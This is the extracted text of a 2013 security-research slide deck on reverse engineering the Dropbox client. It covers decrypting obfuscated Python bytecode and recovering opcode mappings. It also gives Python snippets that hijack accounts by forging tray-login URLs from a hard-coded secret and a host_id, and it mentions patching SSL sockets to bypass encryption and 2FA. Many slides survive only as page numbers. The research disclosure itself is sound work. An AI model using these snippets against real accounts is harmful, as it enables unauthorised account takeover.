Hack Dropbox
Hack Dropbox
2013.08.13
2013.08.13
1 / 42
About Przemysaw
Freelance software developer, Python user
@czajnick on Twitter
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 2 / 42
About Dhiru
[email protected] JtR, Ettercap and hashkill developer Metasploit and Nmap contributor @DhiruKholia on Twitter https://github.com/kholia "john-users" and "john-dev" mailing lists
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 3 / 42
Agenda
About Dropbox Existing Work Unpack, decrypt and decompile Dropbox Hijacking Dropbox accounts Bypassing SSL and 2FA Dropbox OSS client DEMO :-)
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 4 / 42
About Dropbox
Leading cloud based le storage service 175 million+ users and growing fast Worth 10 billion USD Runs almost anywhere (no Java crap!) Dropbox client, a modied interpreter running obfuscated Python bytecode
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 5 / 42
Existing Work
(2012) A Critical Analysis of Dropbox Software Security, Nicolas RUFF and Florian LEDOUX (EADS guys) EADS guys analyzed versions 1.1.x to 1.5.x. Fails for 1.6.x released in November, 2012. Mostly kept the "juicy" bits (like source code) to themselves "dropboxdec" by Hagen Fritsch in 2012, for versions 1.1.x only
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 6 / 42
Static linking is used. There is no Python / OpenSSL .so le to extract and analyze in IDA Pro :-(
2013.08.13
9 / 42
import zipfile fileName = "Dropbox.exe" ztype = zipfile.ZIP_DEFLATED f = zipfile.PyZipFile(fileName, "r", ztype) f.extractall("pyc_orig") # Works on all versions & all platforms!
2013.08.13
10 / 42
2013.08.13
11 / 42
.pyc decryption
To decrypt the buffer r_object() calls a separate function inside Python27.dll Why not call this decryption function from outside the DLL? Hard-coded address, as it has no symbol attached Unusual calling ABI, inline ASM saves the day! Slightly tricky due to code objects nested recursively No need at all to analyse the encryption algorithm, keys, etc.
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 12 / 42
Opcode Remapping
Valid strings, but .pyc les still fail to load CPython is a simple opcode (1 byte long) interpreter ceval.c is mostly a big switch statement inside a loop It was patched to use different opcode values Mapping recovered manually by comparing disassembled DLL with standard ceval.c The most time consuming part - ca. 1 evening ;)
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 13 / 42
2013.08.13
17 / 42
IS_DEV_MAGIC = DBDEV and hashlib.md5(DBDEV) .hexdigest().startswith('c3da6009e4') Logging is a "protected" developers-only feature Turning IS_DEV_MAGIC on enables debug mode which results in a lot of logging output It is possible to externally set this DBDEV environment variable
2013.08.13
22 / 42
2013.08.13
23 / 42
2013.08.13
27 / 42
How does the Dropbox client automagically log in a user to its website from the tray icon?
baseurl = "https://www.dropbox.com/tray_login" fixed_secret = "ssKeevie4jeeVie9bEen5baRFin9" now = int(time.time()) h = hashlib.sha1('%s%s' % (fixed_secret, host_id, now)).hexdigest() url = "%s?i=%d&t=%d&v=%s&url=home&cl=en_US" % (baseurl, host_int, now, h) print url # :-)
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 29 / 42
2013.08.13
30 / 42
ctype = 'application/x-www-form-urlencoded' baseurl = 'https://client10.dropbox.com/' data = "buildno=Dropbox-win-1.7.5&tag=&\ uuid=123456&server_list=True&\ host_id=%s&hostname=random" % host_id headers = {'content-type': ctype} r = requests.post(url + 'register_host', data=data, headers=headers) data = json.loads(r.text) host_int = data["host_int"] # host_id is EVERYTHING in Dropbox world!
Przemysaw W egrzyn, Dhiru Kholia Looking inside the (Drop) box 2013.08.13 31 / 42
Question?
You cant sniff Dropbox trafc!
So, how did we manage to gure out all these internal API calls?
2013.08.13
32 / 42
Find SSLSocket objects and patch their read(), write() and send() methods
2013.08.13
36 / 42
DEMO!
Get Dropbox
Resources
Dropbox OSS PoC client, dedrop, all our source-code! https://github.com/kholia/dedrop
https://github.com/wibiti/uncompyle2.git
https://github.com/kholia/dbx-keygen-linux.git
2013.08.13
38 / 42
Fun Stuff ;)
http_authentication.py le contains: fak returned, FakeShit realm="hi" NTLM realm="your mom", you="suck", Digest realm="hi", Shit" There actually is a le named "ultimatesymlinkresolver.py" Cant really say what is so "ultimate" about resolving symlinks ;) Dropbox runs nginx, "nginx/1.2.7"
2013.08.13
39 / 42
Are the obfuscation measures helping Dropbox and their users? Is this "arms-race" going to stop? Dhiru Kholia ([email protected]) Przemysaw W egrzyn ([email protected])
2013.08.13
40 / 42
Thanks!
Openwall folks, my colleagues at work, anonymous reviewers and friends for their invaluable feedback and encouragement
Hagen Fritsch for showing that automated opcode mapping recovery is possible
2013.08.13
41 / 42
Thanks!
2013.08.13
42 / 42